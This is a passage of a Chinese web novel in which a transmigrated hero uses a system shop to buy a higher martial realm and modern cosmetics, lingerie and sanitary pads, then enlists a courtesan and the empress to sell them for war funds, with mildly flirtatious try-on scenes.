七百三十五万?!!
江凡的眼珠子差点瞪出来!
他记得清清楚楚,昨夜使用完【陆地神仙体验卡】后,他剩下的人气值大约是一百多万。
按照之前的速度,就算话本翻了一倍,最多也就两三百万。
怎么一晚上直接暴涨了将近六百万?
“这…这怎么可能?!”
他心中掀起惊涛骇浪,几乎要失声叫出来。
除非…
他猛地想起,昨夜女帝似乎提过一句,要帮他‘师尊’推广话本?
难道…她真的行动了?
而且效率如此恐怖?
以女帝的权势,若真的动用朝廷力量,覆盖范围绝对远超他之前小打小闹的投放!
“一天…不,一夜之间,涨了六百多万…如果这种势头能保持,哪怕减缓一些,一天上千万人气值也不是梦啊!”
巨大的惊喜瞬间冲散了之前的烦闷与惶恐,江凡的心脏怦怦狂跳起来。
实力!
有了海量的人气值,就意味着有了实力!
有了应对一切危机的底气!
他强迫自己冷静下来。
现在不是高兴的时候,当务之急,是赶紧将人气值转化为实实在在的力量!
他目光扫过系统商城。
之前因为人气值捉襟见肘而不敢多看的高级货,此刻仿佛都在向他招手。
他的视线首先落在了修为提升上。
【兑换大宗师初期境界】:需人气值5,000,000点。
备注:无副作用稳固提升,包含对应境界真气、体魄、武道感悟。
五百万!
正好!
江凡没有丝毫犹豫,心中默念:
“兑换!”
【叮!消耗人气值5,000,000点!开始灌注大宗师初期境界修为…】
第203章 倒是好主意
一股磅礴、浩荡的能量洪流,瞬间涌入江凡的四肢百骸、经脉窍穴!
这股能量伴随着对武道更深层次的理解、对天地灵气更敏锐的感知、对自身力量更精细的掌控!
整个过程持续了大约十息,在外人看来,江凡只是身体微微震动了一下,眼神有一瞬间的失焦。
但只有他自己知道,体内发生了何等翻天覆地的变化!
一股强横的气息不由自主地泄露出一丝,但又被他迅速收敛。
他感觉此刻的自己,力量、速度、反应、耐力,乃至对周围环境的感知,都提升了数倍不止!
如果说之前的宗师境界让他有了初步自保和对抗普通高手的资本,那么此刻的大宗师初期,已然让他真正跻身当世一流高手之列!
“还剩两百三十五万人气值…”
江凡心中大定。
他没有急着继续兑换更高的境界。
大宗师中期需要五百万人气值,中期后期也是五百万,巅峰则需要八百万。
虽然以现在的人气值增长速度,或许几天就能凑够,但他需要留一些备用,应对突发情况。
比如兑换【无敌领域】或者再次兑换【体验卡】。
而且,刚突破大宗师,也需要时间熟悉和稳固境界。
实力问题暂时缓解,江凡的思绪又活络起来。
他看着剩下两百多万的人气值,以及系统商城里那琳琅满目、价格低廉的现代物品,一个大胆的念头浮现。
钱!
军费!
女帝和朝廷眼下最缺的是什么?
是钱!
是支撑北境、南疆战事,是打造新式军械,是维持朝堂运转、安抚民心的钱!
之前他献上的精盐、烈酒、琉璃等秘方,虽然能生财,但需要时间投产、推广、见效。
而战争,尤其是面对靖王可能发动的雷霆一击,最缺的就是时间!
如果…他能直接从系统兑换出一些这个时代没有、却又极具价值、能快速变现的东西,拿出去卖呢?
他的目光在商城中快速搜寻:
【各种名酒】:兑换需人气值100-500点/箱。备注:附带精美玻璃酒瓶。
【打火机】:兑换需人气值10点/个。
【**(太阳能充电型)】:兑换需人气值50点/个。
【各种品牌香水(瓶)】:兑换需人气值200-1000点/瓶。
【高级香皂/沐浴露】:兑换需人气值20-100点/块(瓶)。
【女性内衣套装(各种款式)】:兑换需人气值30-100点/套。
【卫生巾(箱)】:兑换需人气值50点/箱。
【丝袜/旗袍等服饰】:兑换需人气值50-300点/件。
江凡的眼睛越来越亮!
这些东西,在系统商城的兑换价格,对于如今手握两百多万巨款的他来说,简直便宜得像是白送!
可如果拿到这个时代…那玻璃酒瓶本身就价值不菲!
名酒更是闻所未闻的琼浆玉液!
打火机、手电筒简直是‘神器’!
香水、香皂、高档化妆品,足以让任何贵妇小姐疯狂!
还有那些女性内衣、卫生巾、丝袜、旗袍…
虽然他自己不好意思去卖,但这背后的市场潜力,绝对是惊人的!
尤其是卫生巾,若能推广开来,对天下女子而言,简直是福音,其带来的隐性收益和民心凝聚,难以估量!
“干了!”
江凡心中火热,一股豪情油然而生。
既然有系统这个bug,为什么不用来多做点事?
既能快速筹集军费,解决女帝燃眉之急,又能改善民生,还能顺便…嗯,赚点外快?
虽然他不缺钱,但谁会嫌钱多?
想到这里,他几乎坐不住了,脸上不由自主地露出兴奋和思索的神色。
该怎么拿出这些东西才不显得突兀呢?
“江凡。”
萧璇月清冷的声音忽然响起,打断了他的思绪。
江凡一个激灵,连忙抬头,正对上女帝那双探究的凤眸。
不知何时,她已经放下了朱笔,正静静地看着他。
显然将他刚才那副时而激动、时而沉思、时而兴奋的模样尽收眼底。
“朕看你坐立不安,欲言又止,可是有什么话要说?”
萧璇月语气平静,听不出情绪。
江凡定了定神,心中快速组织语言。
这事儿肯定不能瞒着女帝,毕竟涉及大量‘奇物’的出现和销售,需要她的默许甚至支持。
而且,筹集军费也是为了她。
他站起身,躬身行礼,有些不好意思地挠了挠头,道:
“陛下明察秋毫。臣…臣方才想起,师尊他老人家…嗯,师门
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之中,除了那些行军打仗、治国安邦的秘法。
还…还传下了一些比较奇特的物事。大多是些适合女子使用的日常之物,还有些新鲜玩意儿。”
“适合女子使用的日常之物?新鲜玩意儿?”
萧璇月微微挑眉,眼中闪过一丝好奇。
她知道江凡口中的师尊、师门多半是托词,这些东西很可能就是他自己‘奇遇’所得。
但既然他这么说,想必非同小可。
“是何物?说来听听。若真有用,朕自然支持。”
“这个…”江凡脸色微红,更显窘迫,
“有香水、香皂、一些化妆之物,这些倒还寻常,臣可以给陛下先看看。但还有些…嗯,比较私密贴身之物,以及一些新奇服饰,臣…臣实在不好意思详述,更不便直接呈给陛下过目。”
他脑海中闪过那些款式各异的内衣、卫生巾、丝袜,只觉得脸上发烧。
萧璇月和一旁侍立的云暮对视一眼,都从对方眼中看到了了然和一丝促狭。
私密贴身之物?
新奇服饰?
难怪这小子支支吾吾,面红耳赤。
看来,他的‘师门’,涉猎颇广啊…
萧璇月心中好奇更盛,但也体谅江凡的尴尬,没有追问细节,而是直接问道:
“你提起这些,意欲何为?”
江凡连忙道:
“回陛下,师尊说,这些物事在师门那里也算稀罕精巧,若在我大夏推广开来,定能受到追捧,尤其是京城和各大城镇的富户官眷。
其利润,想必十分可观。如今朝廷正是用钱之际,北境、南疆军费吃紧,新式军械打造、**试制亦需海量银钱。
臣想着,若能将这些物事设法售卖,所得银两全部充作军费,或可解燃眉之急。”
萧璇月凤眸一亮!
这倒是个好主意!
若真如江凡所说,那些‘奇物’能受追捧,利润丰厚,那确实是一条快速筹集军费的捷径!
比等待盐、酒、琉璃等产业慢慢见效要快得多!
而且,由江凡的‘师门’操办,朝廷无需直接出面,不易引人注目,也避免了朝堂上可能出现的反对声音。
“此言有理。”萧璇月颔首,目光灼灼地看着江凡,
“你既有此心,又有此物,朕自然支持。你需要朕如何配合?是让内务府接手,还是…”
第204章 不是买消息
“不不不!”江凡连忙摆手,
“内务府目标太大,且规矩繁琐,容易走漏风声,也未必擅长经营此类新奇之物。臣的想法是…找民间可靠之人合作,秘密进行。”
“民间之人?谁?”
萧璇月问。
江凡犹豫了一下,还是硬着头皮道:
“臣…臣想去百花楼,找那位柳絮姑娘帮忙。她人面广,手段活,又经营着百花楼这等消息灵通、达官贵人云集之地。
由她来推广销售这些…女子之物,最为合适不过。而且,四季堂情报网络或许也能帮上忙,将货物销往各地。”
他说完,小心翼翼地看着女帝的脸色,生怕她因为自己去找青楼女子而不悦。
果然,萧璇月听到百花楼、柳絮姑娘时,凤眸微微眯起,眼中闪过一丝酸意。
不过她很快收敛,恢复平静。
她知道柳絮与江凡似乎有些交情,而‘逍遥公子’曾经在话本中提升了柳絮的名声,更让她声名大噪。
此人确实是个合适推广的人选。
“柳絮…”萧璇月沉吟片刻,点了点头,
“可以。此人朕也有所耳闻,确是精明干练之辈。你去找她可以,但需注意分寸,莫要泄露过多机密。
尤其是…你‘师尊’之事。至于利润分成,你与她商议便可,朕只要看到实打实的军饷入库。”
“陛下圣明!”江凡松了口气,连忙道,
“臣定当谨慎行事。至于分成,臣会与柳姑娘言明,此乃为朝廷筹集军费,利润大头自然归入国库。柳姑娘若是深明大义,想必也不会过多索取。”
“嗯。”萧璇月满意地点点头,忽然话锋一转,
“不过,在你去找柳絮之后,也将你所说的那些‘寻常’之物,拿来给朕瞧瞧。香水、香皂、梳妆之物,朕倒要看看,你师门的‘奇物’,究竟有何特异之处。”
“啊?全部?”江凡一愣。
“怎么?不方便?”萧璇月凤眉一挑。
“方便!方便!”江凡哪敢说不,连忙道,
“只是那些东西臣未曾带在身上,需回住处取来。请陛下稍候,臣去去就回。”
“准。”萧璇月挥挥手。
江凡如蒙大赦,躬身退出御书房。
一出殿门,他立刻加快脚步,径直朝宫外走去。
他得先找个没人的地方,从系统兑换东西出来。
而御书房内,萧璇月看着江凡匆匆离去的背影,嘴角勾起一抹弧度。
“云暮,”她轻声唤道。
“奴婢在。”
“你说…他那些‘不好意思详述’的私密贴身之物,会是什么?”
萧璇月眼中闪烁着好奇与一丝玩味,“总不会是…肚兜吧?”
云暮掩口轻笑:
“陛下,江世子脸皮薄,能让他如此难以启齿的,恐怕不止是肚兜那么简单。或许…是些更大胆的款式?或是女子月事所用之物?他既说是‘师门’所传,想必有些独到之处。”
“月事所用?”
萧璇月微微一怔,随即脸上也泛起红晕。
若真是改良月事之物,那对天下女子而言,倒真是一大福音。
这个江凡…想法还真是奇特。
不过,若真能因此筹集到巨额军费,倒也顾不得那许多了。
“等他回来,看了东西便知。”
萧璇月重新拿起朱笔,但心思却已有些飘远。
江凡似乎总能给她带来意想不到的惊喜和帮助,这让她心中的情感,越发坚定。
……
江凡出了皇宫,没有回镇国公府,而是找了处僻静的巷子,确认四周无人后,立刻沉入系统商城,开始采购。
“兑换【香水】各一瓶!”
“兑换【香皂】各十块!”
“兑换【某品牌护肤霜】一盒!”
“兑换【某品牌口红】三支不同色号!”
“兑换【女性内衣套装】(保守款式)三套!”
“兑换【卫生巾】(箱)一箱!”
“兑换【黑色丝袜】三双!”
“兑换【改良旗袍】两件!”
他一口气兑换了十多样物品,耗费的人气值加起来还不到五千点,简直是九牛一毛。
看着系统空间里瞬间多出来的一大堆包装精美、与这个时代格格不入的物品,江凡也有些头皮发麻。
怎么拿过去?
总不能凭空变出来吧?
他想了想,兑换了两个被单,将那些香水、香皂、护肤品、口红等物品包好。
至于内衣、卫生巾、丝袜、旗袍这些敏感物品。
他犹豫了一下,还是一咬牙,统统塞了进另一个被单装好。
两个包裹都鼓鼓囊囊,看起来
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分量不轻。
他提着两个大包裹,深吸一口气,朝着百花楼的方向走去。
一路上引得路人频频侧目,毕竟他一身金刀侍卫的玄色劲装颇为显眼,却提着两个包裹,着实怪异。
到了百花楼,虽是白日,楼内也已有了些许客人丝竹声。
江凡没走正门,绕到后巷,敲响了侧门。
开门的龟公认得他,见他这身打扮和手里的包裹,虽然诧异,也不敢多问,连忙将他引到后院一间僻静的雅室,然后飞快地去通报柳絮。
不多时,一阵香风袭来,柳絮推门而入。
她今日穿着一身淡紫色的流云锦裙,妆容精致,见到江凡,眼中闪过一丝惊讶,随即化为盈盈笑意:
“哟,今儿是什么风,把咱们日理万机的江金刀给吹来了?还带着…这么些行囊?”
她目光扫过地上那两个鼓鼓囊囊的破旧包裹,眼中好奇更甚。
江凡见到柳絮,也松了口气,将两个包裹放在桌上,开门见山道:
“柳姑娘,今日冒昧来访,是有事相求,也是有一桩生意,想与姑娘合作。”
“生意?”
柳絮美眸流转,在江凡对面坐下,亲自为他斟了杯茶,
“江大人如今是陛下跟前的红人,金刀侍卫,有什么生意需要与我这个风尘女子合作?莫非…又是打听什么消息?”
她以为江凡是来找她问情报的。
江凡摇摇头,指了指桌上的包裹:
“非也。这次不是买消息,是卖东西。”
他顿了顿,组织了一下语言,
“柳姑娘也知道,如今北境、南疆不宁,朝廷用度紧张,军费短缺。我…我师尊他老人家心系社稷,便拿出了一些他师门秘制或收集的奇巧之物,命我设法售卖。
所得银钱,全部充作军费,以解朝廷燃眉之急。但我一介武夫,不通商贾之事,在京城之中,可信赖又有能力之人不多。
思来想去,唯有柳姑娘人脉广博,手腕高明,且深明大义,故特来求助。”
柳絮闻言,脸上的笑意敛去,神色变得认真起来。
她没想到江凡找她是为这事。
为朝廷筹集军费?
这倒是一件正事,也是大义。
而且,江凡口中的‘师尊’,那位神秘的逍遥公子,不就是他自己吗?
第205章 讨一个人情
“江大人言重了。为国分忧,乃是本分。只是不知…尊师所出,是何等奇物?竟有把握能筹集大量军费?”
柳絮目光落在包裹上。
江凡也不卖关子,先解开那个小一些的包裹,将里面的东西一样样取出,摆在桌上。
顿时,精致剔透的玻璃瓶、香皂、膏霜盒、以及那几支金属管状的口红呈现在柳絮面前。
这些物品的材质、造型、包装,无一不散发着精巧,尤其是那玻璃瓶和金属口红管,在烛光下闪烁着诱人的光泽。
柳絮的呼吸微微一滞,美眸瞬间睁大,露出难以置信的神色。
她虽然见多识广,但也从未见过如此精美奇特的物件!
她小心翼翼地拿起一瓶香水,拔开金属瓶盖,轻轻一嗅——一股馥郁芬芳的幽香瞬间钻入鼻端,让她心神都为之一荡!
这香气…太特别了!
绝非世间任何已知花香或香料可比!
她又拿起一块香皂,触手温润,带着淡淡的清香;拿起一支口红,轻轻旋出,看到那鲜艳润泽的膏体,更是惊讶。
这些都是女子日常所用之物,可眼前这些,无论是外观、质地还是香气,都远超市面上能找到的最好货色!
“这些…这些都是…”
柳絮的声音带着一丝颤抖,看向江凡的眼神充满了震撼。
她几乎可以肯定,这些东西一旦面世,绝对会引起轰动,尤其是在那些高门贵女、官家夫人中间,恐怕会不惜重金求购!
其利润,绝对惊人!
“香水、香皂、面霜、口红。”江凡简单介绍道,
“都是女子妆扮所用。师尊说,这些在他师门也算上等之物。”
“何止是上等…”
柳絮喃喃道,眼中已放出光来,那是商人对珍贵货物的本能敏锐,
“江大人,若只有这些,妾身有把握,能让其风靡京城,价格…绝对低不了!”
江凡点点头,心中稍定。
他指了指那个更大的包裹,脸上又露出几分窘迫:
“还有这些…是些更私密些的物事,可能…需要柳姑娘看看,是否适合推广。”
柳絮好奇地解开那个大包裹。
当看到里面那些款式新颖的内衣套装,带着独立包装的卫生巾,轻薄如蝉翼的黑色丝袜,以及图案精美的改良旗袍时…
柳絮的脸,‘唰’地一下,彻底红透了!
一直红到了耳根!
她虽身处风月场,见多识广,可猛然见到如此直白、如此‘伤风败俗’、又如此…诱人的女子贴身衣物,还是觉得冲击力巨大!
尤其是那内衣,款式之大胆,面料之轻薄,简直闻所未闻!
还有那卫生巾…她稍微一想,便明白了用途,脸上更是烧得厉害。
丝袜和旗袍虽好些,但那修身的剪裁和若隐若现的效果,也绝非寻常服饰可比。
“江、江世子!”
柳絮的声音都有些变了调,又羞又急,还带着一丝难以置信,
“这…这些也是尊师所出?这…这成何体统!”
她下意识地想将包裹合上,可目光却不由自主地被那些衣物吸引。
作为女子,她本能地能感觉到,这些衣物穿在身上,会是何等舒适、方便,甚至…能极大提升女子的魅力。
尤其是那旗袍和丝袜,若穿在她身上…江世子会喜欢吗?
江凡也是面红耳赤,硬着头皮解释道:
“柳姑娘莫怪。师尊他…他师门风气开放,认为女子之物,亦当精巧舒适。这些内衣,穿着比肚兜束胸舒适自在得多,且能…嗯,塑形。
这卫生巾,乃女子月事福音,洁净卫生,方便更换。丝袜保暖修饰腿型,旗袍显身段。虽然样式新奇了些,但若推广开来,想必…自有其市场。”
他越说声音越小,自己都觉得没什么说服力。
柳絮深吸了好几口气,才勉强平复下狂跳的心脏和脸上的燥热。
她毕竟是见过大风浪的,冷静下来后,开始仔细审视这些物品。
抛开羞耻心不谈,单从物品本身来看,确实如江凡所说,设计巧妙,用料奇特,实用性很强。
尤其是卫生巾,若真如他所言洁净方便,对天下女子而言,意义重大。
而内衣、丝袜、旗袍…虽然大胆,但在青楼楚馆、或者某些追求新奇刺激的贵妇圈子里,或许…真有市场?
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她抬起头,目光复杂地看着江凡:
“江世子,你…你确定要将这些也拿出来售卖?这…恐怕会引来非议。”
江凡苦笑道:
“我也知不妥。但师尊有命,且言道,非常之时,行非常之事。筹集军费要紧。况且,这些东西若只在特定圈子内流通,由柳姑娘这样的人物掌控,或许…影响可控。利润分成,柳姑娘可占两成,如何?”
他开出了条件。
柳絮却摇了摇头。
江凡心中一沉,以为她嫌少。
却听柳絮缓缓道:“两成利润,妾身不要。”
江凡一愣。
柳絮看着他,眼中闪烁着奇异的光芒,语气郑重:
“既然是筹措军费,利国利民之事,妾身岂能从中牟利?这些东西,妾身会设法推广销售,所得银钱,除必要成本外,尽数上交,用于军需。”
江凡动容:“这…这如何使得?柳姑娘出力甚多,岂能白忙一场?”
柳絮嫣然一笑,那笑容恢复了平日的妩媚,却多了几分认真:
“江世子不必推辞。妾身虽身处风尘,却也知家国大义。北境将士在流血,朝廷在为难,妾身能为此尽一份力,心中欣慰。不过…”
她话锋一转,眼中闪过一丝狡黠与深意:
“妾身不要银钱,却想向江世子讨一个人情。”
“人情?”江凡疑惑。
“不错。”柳絮点点头,目光灼灼地看着江凡,
“他日,若妾身遇到难处,或有求于江世子,只要不违背道义,不伤天害理,不超出江世子能力范围,还望江世子,能答应妾身一个要求。
这个要求,或许现在不会提,或许很久以后才会提,但请江世子,务必记得今日之诺。”
江凡看着柳絮认真的眼神,心中微凛。
他知道柳絮身份不简单,是四季堂的核心人物。
她不要眼前利益,却要一个未来的人情承诺,这其中的意味,绝不简单。
但眼下,他需要柳絮的帮助,而且对方提出的条件,听起来也并不过分。
而且柳絮帮了自己很多次,以后只要不是特别过分或者为难的事情,自己答应了也无妨。
第206章 什么新名词
江凡沉吟片刻,郑重抱拳:
“柳姑娘高义,江某佩服。只要不违背良心道义,不滥杀无辜,不损害大夏国本,他日柳姑娘若有差遣,江某力所能及之处,定不推辞!”
“好!有江世子此言,妾身便放心了。”
柳絮展颜一笑,仿佛放下了什么心事。
她站起身,对江凡道:
“江世子请稍候片刻。这些物件…妾身需仔细看看,也需…试试效果,才好定价和筹划如何推广。”
说着,她竟真的拿起了那套保守款式的内衣、一双黑色丝袜和旗袍,对江凡露出一个意味深长的笑容,然后转身,袅袅婷婷地走进了内室,还顺手关上了门。
江凡独自坐在外间,听着内室传来窸窸窣窣的换衣声,只觉得坐立不安,脸上刚刚褪下去的红晕又涌了上来。
他是不是…做了个错误的决定?
让柳絮去试穿那些衣服?
这…这合适吗?
就在他胡思乱想、几乎要夺门而逃时,内室的门被轻轻推开了。
江凡下意识地抬头望去。
只一眼,他的呼吸骤然停止,眼睛瞬间瞪大,整个人僵在原地,连心跳都仿佛漏跳了好几拍!
只见柳絮从内室款步走出。
她换上了那身月白色的改良旗袍,旗袍剪裁极其合身,完美地勾勒出她凹凸有致、丰腴曼妙的曲线,高开叉的设计。
行走间若隐若现出那双包裹在丝袜中的修长美腿,在烛光下泛着诱人的光泽。
她的胸前,在那种奇特种类的内衣衬托下,显得越发饱满挺翘,将旗袍撑起一道惊心动魄的弧度。
她脸上还带着试穿新衣的淡淡红晕,眼波流转,顾盼生辉。
配上这身前所未见、既典雅又性感、既含蓄又大胆的装扮,整个人散发出一种惊心动魄的魅力!
她轻轻转了个圈,裙摆微扬,露出更多雪白的大腿,对着已然看呆的江凡,嫣然一笑,声音带着一丝魅惑:
“江世子,你看…妾身穿这身,可还入眼?”
江凡:“……”
他张了张嘴,却发不出任何声音。
只觉得一股热血直冲头顶,鼻腔发热,某个不争气的部位,似乎又有了抬头的趋势…
造孽啊!
江凡在心中发出一声哀嚎,猛地移开视线,不敢再看。
他终于明白,自己找柳絮推广这些东西,或许…真的是在玩火。
“柳姑娘穿上这身,一定能迷倒所有男子。”
过了好一会儿,江凡才由衷夸赞了一句。
柳絮捂嘴轻笑,还抛来一个风情万种的媚眼:
“那所有男子力,包不包括世子呢?”
“这个...”江凡受不了这个,暗骂一声‘尤物’,赶紧起身说道:
“柳姑娘莫要取笑在下,我把东西放在国公府,一旦有市场,你随时叫人去国公府取就行。还有你那些小姐妹有喜欢的,都可以免费使用,就当打广告了。”
“广告?”
柳絮有些惊讶,这是什么新名词?
“呃,就是广而告之,让人有购买欲望和冲动。”
“原来如此!”柳絮看着江凡脸跟猴屁股似得,不由感觉好笑:这还是那个声名狼藉的纨绔世子吗?
她一脸自信的说道:“世子放心,这些东西,我保证三日内就先帮你筹集第一批资金。随着...广告效果,以后资金会越来越多的,只要世子的货跟得上。”
“那就好,辛苦柳大家了!”
江凡松了口气,对柳絮真心感激。
正事谈完,柳絮故意在江凡面前转了一圈问道:
“世子你看看,还有没有什么地方需要更改的?”
江凡感觉鼻头有些发热,连忙站起身说道:
“没有没有,柳大家身材完美,配合这身毫无缺点...那什么,我还有事,得回宫复命了...”
说完,他几乎是逃也似地离开了百花楼。
柳絮看着他的背影跺了跺脚,有些气恼的说道:
“胆小鬼,有色心没色胆!”
走在回宫的路上,晚风微凉,江凡还是感觉浑身燥热。
“造孽,真是造孽…最近有些上火,看来是该成家了...”
他用力甩了甩头,
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试图将那些旖旎的画面甩出去。
柳絮不愧是花魁,那身段,那风情,穿上现代改良的旗袍丝袜,杀伤力简直呈几何级数增长。
连他这个自诩‘见多识广’的穿越者都差点把持不住,可想而知,一旦这些东西在京城贵圈流传开来,会引起怎样的轰动。
不过,柳絮办事的效率也确实让他刮目相看。
她不仅立刻明白了这些东西的价值和市场,还主动提出不要分成,只要一个未来的人情。
这份魄力和眼光,绝非常人可比。
有她操盘,筹集军费的事情,想必能顺利很多。
“三天…第一批资金…”
江凡盘算着,心情稍定。
有了这笔启动资金,至少能解一下北境和军器监的燃眉之急。
他找了个无人的僻静角落,再次沉入系统商城。
之前给柳絮看的只是样品,要大规模销售,自然需要更多的货。
他估算了一下可能的市场需求,又考虑到不能一次放出太多引起怀疑,便谨慎地开始了采购。
又是一阵光华闪过,系统空间里再次堆满了琳琅满目的现代物品。
这次兑换,总共消耗了约五十万人气值,相对于他目前快速增长,已经超过三百多万的‘巨款’而言,只是**毛雨。
但江凡知道,这些东西一旦变现,价值将远超这个数字。
他从系统商城里的杂物分类里找到一个藤编箱,价格极其低廉。
他立刻兑换了几个大藤箱,然后在无人角落,将兑换出来的所有物品分门别类装入藤箱,足足装了七八个大箱子。
做完这些,他将大部分放进系统空间,只带着一个箱子回宫。
守门的侍卫和太监见到这位新晋的红人、金刀侍卫江凡带着藤箱回宫,也不敢多问,查验无误后便放行了。
御书房内,萧璇月显然已等待多时,连奏折都批得有些心不在焉。
云暮更是时不时望向门口。
当听到外面传来的动静和江凡请见的声音时,萧璇月立刻坐直了身体,清了清嗓子:
“宣。”
第207章 总要先试试
江凡带着两个小太监,抬着一个藤箱走了进来。
行礼之后,他示意小太监将箱子放在地上,然后退下。
殿内只剩下他、女帝和云暮三人。
“陛下,东西取来了。”
江凡指着藤箱,脸上依旧有些发热,
萧璇月点点头,目光落在藤箱上,眼中充满了好奇与期待:
“打开看看。”
江凡上前,解开藤箱上的搭扣,掀开箱盖。
顿时,里面用青色土布包裹得整整齐齐的一件件物品露了出来。
他先拿出那些常规物品——香水、香皂、护肤品、口红,一一摆放在旁边的空置书案上,并简单介绍其名称和大致用途。
“此乃香水,萃取百花之精,香气持久独特,可洒于衣襟、腕间…”
“这是香皂,洁面沐浴皆可,去污留香,比澡豆胰子更为清爽…”
“此盒是面脂,滋润肌肤,抵御风寒…”
“此为口脂,色泽艳丽,涂抹于唇,可增气色…”
随着江凡的介绍,萧璇月和云暮的眼睛越来越亮。
她们拿起那些造型别致的瓶瓶罐罐,轻轻嗅闻,小心触碰,脸上皆是惊叹之色。
尤其是那香水,仅仅是打开瓶盖,那股馥郁高雅的香气便弥漫开来,让整个御书房都仿佛萦绕在一股春日花园般的芬芳之中。
香皂触手温润细腻,口脂膏体鲜艳欲滴,都是她们从未见过的精巧之物。
“果然…巧夺天工。”
萧璇月拿起一瓶香水,指尖摩挲着玻璃瓶身,感受着那独特的设计感,眼中异彩连连。
这些东西,无一不透露着远超这个时代的工艺水平和审美情趣。
她几乎可以想象,一旦面世,会在贵妇圈中引起何等的追捧。
介绍完这些,江凡看着箱子里剩下的东西,脸上又开始发烫,有些手足无措。
萧璇月瞥了他一眼,心中了然,知道重头戏来了。
她故意问道:“这些布包之中,又是何物?”
江凡咽了口唾沫,硬着头皮,先拿起一个较小的、但包裹得很严实的布包,小心翼翼地解开。
里面是几套折叠整齐的内衣,有保守的棉质款,也有稍带蕾丝装饰的丝绸款。
他不敢细看,快速抖开其中一套棉质的,展示了一下大概样式,便连忙合上,脸已经红到了脖子根:
“这…这是内衣,穿在里面的,比…比肚兜和亵裤舒适,也…也更方便活动。”
萧璇月和云暮的目光落在那样式古怪的内衣上,先是一愣,随即两人的脸颊也迅速飞起红霞。
云暮更是下意识地别开了眼,很想找个地缝钻进去。
这…这也太大胆了!
虽然江凡说得含糊,但她们都是女子,自然一眼就看懂了其用途和穿法。
这完全颠覆了她们对贴身衣物的认知!
“还…还有这个。”
江凡不敢看她们的表情,又快速解开另一个布包,露出里面整齐码放的、带着独立小包装的卫生巾。
他拿起一片,简单比划了一下,声音更低了:
“此物…名为‘卫生巾’,是女子月事时所用。洁净、吸水、方便更换,可避免…污秽和不适。”
他实在找不到更文雅的词来形容了。
这一次,萧璇月和云暮的脸简直红得要滴出血来!
月事之物!
如此私密、甚至有些羞于启齿的东西,竟然**凡如此直白地拿出来介绍,还说是他‘师门’所制!
这…这成何体统!
可偏偏,她们作为女子,深知月事期间的种种不便与尴尬。
此刻看着那洁白、柔软的卫生巾,心中竟不由自主地生出一丝好奇和隐约的渴望。
若此物真如他所言…
江凡感觉到殿内气氛尴尬得快要凝固,赶紧又解开最后一个大布包,里面是几件叠好的旗袍和几双卷好的丝袜。
“这是旗袍,一种新式衣裙,穿着…比较显身段。这是丝袜,穿在腿上,保暖,也…好看。”
他言简意赅,实在没勇气详细描述旗袍的开叉和
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丝袜的透肉效果了。
萧璇月的目光在那些旗袍和丝袜上扫过,凤眸中闪过一丝复杂光芒。
有羞涩,有好奇,有惊叹,也有一丝属于女子爱美天性的蠢蠢欲动。
这些东西,美则美矣,却也着实‘伤风败俗’。
可偏偏,又带着一种难以抗拒的吸引力。
她沉默了片刻,压下心中的波澜,尽量用平静的语气问道:
“你…已找过柳絮了?她如何说?”
江凡连忙点头,将柳絮的反应、承诺以及‘三天内筹集第一批资金’的计划说了一遍,也提到了柳絮不要分成、只求一个人情的事。
萧璇月听完,微微颔首:
“柳絮此人,倒是识得大体。由她操办,朕也放心。至于人情…她既不要银钱,只要一个未来的承诺,只要不违大义,你应下也无妨。此事,你办得不错。”
得到女帝的肯定,江凡松了口气,但脸上的红晕仍未完全褪去。
萧璇月看了看桌上那些令人面红耳赤的奇物,又看了看垂手肃立、一脸窘迫的江凡,眼中闪过一丝促狭,忽然对云暮道:
“云暮,你拿一套…嗯,内衣,还有那丝袜和旗袍,去内室换上,让朕瞧瞧效果。”
“陛下!”
云暮惊呼一声,脸上刚刚退下去的红潮瞬间又涌了上来,又羞又急,
“这…这如何使得!奴婢…奴婢…”
“朕让你去,你就去。”
萧璇月语气平淡,眼中却藏着一丝笑意,
“总要有人先试试,才知道是否真如他所说舒适,也好…估量其价值。快去。”
云暮无奈,只得红着脸,胡乱抓起一套内衣、一双肉色丝袜和一件素色旗袍,逃也似地钻进了御书房内设的休息隔间。
江凡站在一旁,更是尴尬得手脚都不知道该往哪里放了。
让云暮当着他的面试穿这些?
这…这简直是公开处刑!
刚刚才被柳絮给撩拨了一次,再看到...自己晚上怕是要换床单了...
第209章 她来做什么
江凡连夜将七八个大藤箱运回了镇国公府。
动静不小,惊动了已经歇下的江芷兰,以及因为担心江凡而暂住府中的周婉如。
“凡儿,你这是…”
江芷兰披着外衣走出来,看到前院堆着的这么多大箱子,吃了一惊。
周婉如也跟在她身后,目光关切地落在江凡身上。
“姐,周姑娘,还没睡啊。”
江凡擦了把汗,有些不好意思地笑道,
“是…是师门送来的一些东西,让我帮忙处理,筹集些银钱,用于朝廷军费。”
“师门?”
江芷兰和周婉如对视一眼,都看到了对方眼中的疑惑。
她们知道江凡有个神秘的‘师尊’,但送这么多东西来…还是第一次。
江凡命人将箱子都抬进一间空着的库房,然后屏退了下人,只留下姐姐和周婉如。
他打开其中一个箱子,露出里面用青布包好的物品。
“这些都是些什么呀?”江芷兰好奇地问道。
江凡硬着头皮,开始介绍。
香水、香皂、护肤品、口红…这些常规物品再次引起了两位女子的惊叹。
江芷兰还好,周婉如看着那些精巧的瓶瓶罐罐和鲜艳的口红,眼中已满是喜爱。
接着,江凡又拿出了准备好的‘礼物’——给姐姐和周婉如,甚至还有冷月寒,都各自准备的一套护肤品、一瓶香水和一支口红。
三人接过,都是又惊又喜。
“还有这个…”
江凡犹豫了一下,又拿出两包卫生巾,分别递给她们,脸上发烫,
“这是…卫生巾,月事时用的,比月事带干净方便很多。你们…试试看。”
他实在不好意思详细解释。
江芷兰和周婉如接过那柔软洁白、带着独立包装的小东西,先是一愣,随即明白过来。
身后的冷月寒也眼神古怪,三个女人的脸瞬间红透了!
尤其是周婉如,几乎要将头埋到胸口去。
世子的师门…怎么会研究这个?
这、这也太羞人了!
江芷兰毕竟是姐姐,稍微镇定些,捏了捏那卫生巾,感受着其柔软和厚实,眼中闪过一丝异色。
作为女子,她自然知道月事带的种种不便,若此物真如弟弟所说…那简直是天大的福音!
她看向江凡的眼神,多了几分复杂。
这个弟弟,似乎总能拿出些让人意想不到的东西。
“还…还有这些…”
江凡见气氛尴尬,想赶紧介绍完开溜,又打开了另一个箱子,露出了里面的旗袍、丝袜和几套内衣。
他指着旗袍和丝袜道:
“这是新式的衣裙和袜子,叫旗袍和丝袜,穿着…比较显身材。这些是内衣,穿在里面的,比肚兜舒服。”
他语速极快,含糊带过。
